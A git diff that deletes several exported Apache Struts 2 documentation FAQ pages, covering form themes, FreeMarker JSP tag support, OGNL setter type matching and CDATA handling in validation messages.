-            <div id="ConfluenceContent"><p>The form tags are designed to generate standard markup around control tags. What markup the tags generate is determined by a "theme". A theme is a set of templates and stylesheets that work together to generate the Struts Tags.</p><p>The <code>simple</code> theme does not inject any default markup, and lets us add whatever special markup we want around the tags. To use the <code>simple</code> theme throughout an application, we can add this line [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">struts.ui.theme=simple</pre>
-</div></div><p>The theme can also be specified as part of the form tag, if we just want to handcode a particular form.</p><p>The general idea is that we can create a form just by specifying the fields, and let the theme generate the HTML markup for us. (Like using an advanced stylesheet.) The default theme has handy features such as automatically displaying validation errors above each field, with any extra work on our part.</p><p>For example, a form like this</p><div class="code panel p [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:form method="post"&gt;
-    &lt;s:textfield label="Name" name="name"/&gt;
-    &lt;s:textfield label="Age" name="age"/&gt;
-    &lt;s:submit/&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div><p>using the default XHTML team, renders like this</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Generated HTML fragment</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;form id="quizBasic" name="quizBasic" onsubmit="return true;"
-    action="/struts2-showcase/validation/quizBasic.action" method="post"&gt;
-    &lt;table class="wwFormTable"&gt;
-        &lt;tr&gt;
-            &lt;td class="tdLabel"&gt;
-                &lt;label for="quizBasic_name" class="label"&gt;Name:&lt;/label&gt;
-            &lt;/td&gt;
-            &lt;td&gt;
-                &lt;input type="text" name="name" value="" id="quizBasic_name" /&gt;
-            &lt;/td&gt;
-        &lt;/tr&gt;
-    
-        &lt;tr&gt;
-            &lt;td class="tdLabel"&gt;
-                &lt;label for="quizBasic_age" class="label"&gt;Age:&lt;/label&gt;
-            &lt;/td&gt;
-            &lt;td&gt;
-                &lt;input type="text" name="age" value="0" id="quizBasic_age" /&gt;
-            &lt;/td&gt;
-        &lt;/tr&gt;
-    
-        &lt;tr&gt;
-            &lt;td colspan="2"&gt;
-               &lt;div align="right"&gt;
-                   &lt;input type="submit" id="quizBasic_0" value="Submit" /&gt;
-               &lt;/div&gt;
-            &lt;/td&gt;
-        &lt;/tr&gt;
-    &lt;/table&gt;
-&lt;/form&gt;
-</pre>
-</div></div><p>Note that the Struts 2 tags include new attributes, like "label". The XHTML (and AJAX) themes will automatically inject a label tag into the form.</p><p>Of course, as mentioned, we can always use the simple theme and inject all themarkup by hand, just like Struts 1.</p><p>The themes and individual tags can also be extended, if need be, to meet any specific needs of an application.</p><p>For more, see <a shape="rect" href="themes-and-templates.html">Themes and Templates</a> [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-does-freemarker-complain-that-theres-an-error-in-my-user-directive-when-i-used-jsp-tag.html b/content/docs/why-does-freemarker-complain-that-theres-an-error-in-my-user-directive-when-i-used-jsp-tag.html
deleted file mode 100644
index 5fa2ea5..0000000
--- a/content/docs/why-does-freemarker-complain-that-theres-an-error-in-my-user-directive-when-i-used-jsp-tag.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why does FreeMarker complain that there's an error in my user-directive when I used JSP Tag</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-does-freemarker-complain-that-theres-an-error-in-my-user-directive-when-i-used-jsp-tag.html">Why does FreeMarker complain that there's an error in my user-directive when I used JSP Tag</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why does FreeMarker complain that there's an error in my user-directive when I used JSP Tag</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13890">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13890">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13890">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13890">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13890">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13890">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>To use JSP Tags with our FreeMarker templates, the <code>jspSupportServlet</code> needs to be loaded through the <code>web.xml</code>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;jspSupportServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.views.JspSupportServlet&lt;/servlet-class&gt;
-    &lt;load-on-startup&gt;10&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
-</pre>
-</div></div>
-<p>The servlet element registers the JspSupportServlet and loads it on startup. FreeMarker obtains the information it needs to render JSP tags from the servlet instance. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-does-my-setter-not-get-called-by-the-params-interceptor.html b/content/docs/why-does-my-setter-not-get-called-by-the-params-interceptor.html
deleted file mode 100644
index 6c6685d..0000000
--- a/content/docs/why-does-my-setter-not-get-called-by-the-params-interceptor.html
+++ /dev/null
@@ -1,166 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why does my setter not get called by the params interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-does-my-setter-not-get-called-by-the-params-interceptor.html">Why does my setter not get called by the params interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why does my setter not get called by the params interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=54397">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=54397">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=54397">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=54397">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=54397">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=54397">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="Whydoesmysetternotgetcalledbytheparamsinterceptor-Whydoesn'tmysettergetcalled?">Why doesn't my setter get called ?</h2>
-
-<p><a shape="rect" class="external-link" href="http://cephas.net/blog/" rel="nofollow">Aaron Johnson</a> had a <a shape="rect" class="external-link" href="http://cephas.net/blog/2007/01/04/ognl-getter-and-setter-types-must-match/" rel="nofollow">problem</a> with a setter for a property that never seemed to get called. He had a getter/setter combination that did not match:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public void setUser(String username) {
-    ...
-}
-public User getUser() {
-    ...
-}
-</pre>
-</div></div>
-
-<p>The short answer is that your getter and setter must match the property type, or OGNL will not be able to call it (due to a reflection API semantics). You can read the full explanation <a shape="rect" class="external-link" href="http://cephas.net/blog/2007/01/04/ognl-getter-and-setter-types-must-match/" rel="nofollow">here</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-does-ww-ignore-my-message-when-its-enclosed-in-cdata.html b/content/docs/why-does-ww-ignore-my-message-when-its-enclosed-in-cdata.html
deleted file mode 100644
index 45a4460..0000000
--- a/content/docs/why-does-ww-ignore-my-message-when-its-enclosed-in-cdata.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why does WW ignore my message when its enclosed in CDATA</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-does-ww-ignore-my-message-when-its-enclosed-in-cdata.html">Why does WW ignore my message when its enclosed in CDATA</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why does WW ignore my message when its enclosed in CDATA</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13837">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13837">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13837">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13837">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13837">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13837">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Try not to separate the message tag and CDATA portion. Tthe parser might creates a text node enclosing the CDATA one if it sees any space, and xwork just reads the first node (therefore, an empty text). Example:- </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;field name="password"&gt;
-  &lt;field-validator type="requiredstring"&gt;
-   &lt;message&gt;&lt;![CDATA[ Debe proporcionar una contrase&#195;&#402;&#194;&#402;&#195;&#8218;&#194;&#177;a para el usuario. ]]&gt;&lt;/message&gt;
-  &lt;/field-validator&gt;
-&lt;/field&gt;
-</pre>
-</div></div>
-
-<p>Note: there's no spacing in the following line</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  &lt;message&gt;&lt;![CDATA[ ...]]&gt;&lt;/message&gt;
-</pre>
-</div></div>
-
-<p>Contributor: Ruben</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-doesnt-the-if-tag-evaluate-params-properly.html b/content/docs/why-doesnt-the-if-tag-evaluate-params-properly.html
deleted file mode 100644
index a5fc399..0000000
--- a/content/docs/why-doesnt-the-if-tag-evaluate-params-properly.html
+++ /dev/null
@@ -1,178 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>why doesnt the if tag evaluate params properly</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-doesnt-the-if-tag-evaluate-params-properly.html">why doesnt the if tag evaluate params properly</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">why doesnt the if tag evaluate params properly</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=86810">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=86810">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
